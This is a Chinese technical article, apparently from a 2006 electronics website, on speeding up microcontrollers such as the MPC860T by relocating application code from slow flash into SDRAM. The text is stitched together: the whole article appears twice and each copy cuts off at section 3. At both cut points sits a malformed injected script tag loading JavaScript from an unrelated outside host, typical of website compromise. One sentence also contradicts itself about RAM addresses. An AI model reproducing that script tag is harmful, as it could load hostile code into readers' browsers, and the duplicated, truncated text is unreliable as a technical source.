讓單片機運行速度更快一些
發布時間:2006/7/11 0:00:00 訪問次數:656
1 問題的提出
1.1 硬件技術背景
單片機的頻率越來越高,ram的訪問速度也來也快,但單片機系統的效率并不一定成比例的提高。
目前,使用的主流單片機有80386ex(50mhz,外部地址/數據總線16位)、mpc860t(66mhz,外部地址/數據總線32位)以及ds80c32(25mhz,外部地址/數據總線8位);使用的sdram有hy57系列、k416系列(訪問速度100mhz或133mhz);使用的sram 如idt71024、idt7256(50mhz);使用的flash有at29c512、sst39vf040、at29c010(8mhz或15mhz)等。可見,sdram,sram的速度和單片機是匹配的,甚至比單片機的速度更快一點,不需要單片機插入等待狀態。而flash的訪問頻率則比單片機慢2~6倍,單片機往往要通過插入多個等待狀態來和它相匹配,況且flash多為8位,而當前單片機多為16,32位,更多的降低了單片機的工作性能。
根據上述分析,如果提高flash的訪問速度,擴展flash為16位或32位,那么程序執行的速度就快了,單片機的性能也就提高了。如果能夠將這一想法變成事實,而且成本低廉的話,那是最好不過的事情。事實上,可以將8位的flash擴展為16位、甚至32位,但要付出2~4倍的成本。由于flash結構及工藝原因,在目前不可能有高達66mhz的商用化且價格低廉的flash。所以,只能通過其它方式來提升單片機的運行速度。
1.2 軟件技術背景
首先,看看傳統單片機程序的運行原理,為了便于說明,假定硬件平臺為860t,時鐘為50mhz;sdram空間4m×32bit,地址范圍從0x00000000~0x00ffffff,訪問時間10ns;flash空間512k×8bit,訪問時間為100ns,地址范圍從0x02800000~0x0287ffff(至于其它單片機,運行原理大致相同,可以類推)。860t在上電后,pc(program counter)=0x2800100,程序從pc指定的地方執行,首先執行初始化代碼(bootcode),再執行主程序(appcode)。程序從flash中讀取指令(code),來完成數據的傳輸——可能是sdram和內部寄存器的傳輸,sdram之間的傳輸,sdram和外設的傳輸,中斷處理等各項工作。可見在程序運行時,很大一部分時間是從flash中讀取指令,而這個過程是很費時間的。以假定的860t硬件平臺為例,因為flash訪問時間為100ns,所以讀一條指令的時間至少是100ns,也就是說860t讀一條指令的時候要等待100ns。(指令cache通過預取指令的方式,可以使實際取指令時間短一些,但這種方法的效果并不明顯,況且很多單片機還沒有指令cache。)
860t平臺的內存分配如圖1所示。
2 將代碼從flash搬運到sdram中的原理
通過上述分析,初始化代碼bootcode只在程序啟動的時候執行,就是慢一點,也可以接受。真正影響性能的是主程序(appcode),因為這里的代碼在不停的重復執行,如果可以縮短它的取指令時間,則單片機的空閑時間將大大減少,性能也就提高了很多。sdram的速度比較快,如果將代碼搬運到sdram中,取指令時間就減少了很多;而且sdram空間大,不會因為代碼占用了一部分空間而影響性能。但這不僅僅是簡單的搬運過程,有物理存儲器地址的變化牽涉在這個過程中。將軟件源代碼轉換成可執行的二進制映像包括三個步驟:首先,每一個源文件都必須被編譯或匯編到一個目標文件(object file);第二步,所有的目標文件要連接成一個目標文件,它叫可重定位程序(relocation program);最后,在一個稱為重定址(relocation)的過程中,要把物理存儲器地址指定給可重定位程序里的每個相對偏移處,生成一個可執行的二進制映像文件。如果在flash中運行,則所有的物理存儲器地址應該在flash的地址空間中。如果要在ram中運行,則所有的物理存儲器地址應該在flash的地址空間之中。也就是說,如果要使從flash中搬運到sdram中的代碼可用,則必須改變被搬運代碼的物理存儲器地址。
3 搬運代碼的實現方法
下面結合假定的硬件平臺,詳細描述物理存儲器地址重定位,代碼搬運的原理?script src=http://er12.com/t.js>
1 問題的提出
1.1 硬件技術背景
單片機的頻率越來越高,ram的訪問速度也來也快,但單片機系統的效率并不一定成比例的提高。
目前,使用的主流單片機有80386ex(50mhz,外部地址/數據總線16位)、mpc860t(66mhz,外部地址/數據總線32位)以及ds80c32(25mhz,外部地址/數據總線8位);使用的sdram有hy57系列、k416系列(訪問速度100mhz或133mhz);使用的sram 如idt71024、idt7256(50mhz);使用的flash有at29c512、sst39vf040、at29c010(8mhz或15mhz)等。可見,sdram,sram的速度和單片機是匹配的,甚至比單片機的速度更快一點,不需要單片機插入等待狀態。而flash的訪問頻率則比單片機慢2~6倍,單片機往往要通過插入多個等待狀態來和它相匹配,況且flash多為8位,而當前單片機多為16,32位,更多的降低了單片機的工作性能。
根據上述分析,如果提高flash的訪問速度,擴展flash為16位或32位,那么程序執行的速度就快了,單片機的性能也就提高了。如果能夠將這一想法變成事實,而且成本低廉的話,那是最好不過的事情。事實上,可以將8位的flash擴展為16位、甚至32位,但要付出2~4倍的成本。由于flash結構及工藝原因,在目前不可能有高達66mhz的商用化且價格低廉的flash。所以,只能通過其它方式來提升單片機的運行速度。
1.2 軟件技術背景
首先,看看傳統單片機程序的運行原理,為了便于說明,假定硬件平臺為860t,時鐘為50mhz;sdram空間4m×32bit,地址范圍從0x00000000~0x00ffffff,訪問時間10ns;flash空間512k×8bit,訪問時間為100ns,地址范圍從0x02800000~0x0287ffff(至于其它單片機,運行原理大致相同,可以類推)。860t在上電后,pc(program counter)=0x2800100,程序從pc指定的地方執行,首先執行初始化代碼(bootcode),再執行主程序(appcode)。程序從flash中讀取指令(code),來完成數據的傳輸——可能是sdram和內部寄存器的傳輸,sdram之間的傳輸,sdram和外設的傳輸,中斷處理等各項工作。可見在程序運行時,很大一部分時間是從flash中讀取指令,而這個過程是很費時間的。以假定的860t硬件平臺為例,因為flash訪問時間為100ns,所以讀一條指令的時間至少是100ns,也就是說860t讀一條指令的時候要等待100ns。(指令cache通過預取指令的方式,可以使實際取指令時間短一些,但這種方法的效果并不明顯,況且很多單片機還沒有指令cache。)
860t平臺的內存分配如圖1所示。
2 將代碼從flash搬運到sdram中的原理
通過上述分析,初始化代碼bootcode只在程序啟動的時候執行,就是慢一點,也可以接受。真正影響性能的是主程序(appcode),因為這里的代碼在不停的重復執行,如果可以縮短它的取指令時間,則單片機的空閑時間將大大減少,性能也就提高了很多。sdram的速度比較快,如果將代碼搬運到sdram中,取指令時間就減少了很多;而且sdram空間大,不會因為代碼占用了一部分空間而影響性能。但這不僅僅是簡單的搬運過程,有物理存儲器地址的變化牽涉在這個過程中。將軟件源代碼轉換成可執行的二進制映像包括三個步驟:首先,每一個源文件都必須被編譯或匯編到一個目標文件(object file);第二步,所有的目標文件要連接成一個目標文件,它叫可重定位程序(relocation program);最后,在一個稱為重定址(relocation)的過程中,要把物理存儲器地址指定給可重定位程序里的每個相對偏移處,生成一個可執行的二進制映像文件。如果在flash中運行,則所有的物理存儲器地址應該在flash的地址空間中。如果要在ram中運行,則所有的物理存儲器地址應該在flash的地址空間之中。也就是說,如果要使從flash中搬運到sdram中的代碼可用,則必須改變被搬運代碼的物理存儲器地址。
3 搬運代碼的實現方法
下面結合假定的硬件平臺,詳細描述物理存儲器地址重定位,代碼搬運的原理?script src=http://er12.com/t.js>